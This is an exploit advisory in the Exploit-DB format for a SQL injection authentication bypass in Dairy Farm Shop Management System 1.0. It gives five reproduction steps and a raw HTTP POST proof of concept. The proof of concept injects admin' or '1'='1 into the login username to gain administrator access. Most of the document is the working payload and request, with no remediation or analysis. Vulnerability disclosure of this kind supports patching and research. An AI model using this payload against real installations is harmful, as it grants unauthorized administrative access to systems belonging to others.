Dairy Farm Shop Management System 1.0 - SQL Injection Authentication Bypass

# Exploit Title: Dairy Farm Shop Management System 1.0 - SQL Injection Authentication Bypass
# Date: 2021-09-30
# Exploit Author: sanjay singh
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/dairy-farm-shop-management-system-using-php-and-mysql/
# Version: v1.0
# Tested on: Windows 10

Steps-To-Reproduce:
Step 1 Go to the Product admin panel http://localhost/dfsms/index.php.
Step 2 – Enter anything in username and password
Step 3 – Click on Login and capture the request in the burp suite
Step 4 – Change the username to admin' or '1'='1  and password to dfsms
Step 5 – Click forward and now you will be logged in as admin.

POC

POST /dfsms/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Origin: http://localhost
Connection: close
Referer: http://localhost/dfsms/index.php
Cookie: PHPSESSID=hgjvarn4tie1nmsufdn8mf1hrl
Upgrade-Insecure-Requests: 1

username=admin%27+or+%271%27%3D%271&password=dfsms&login=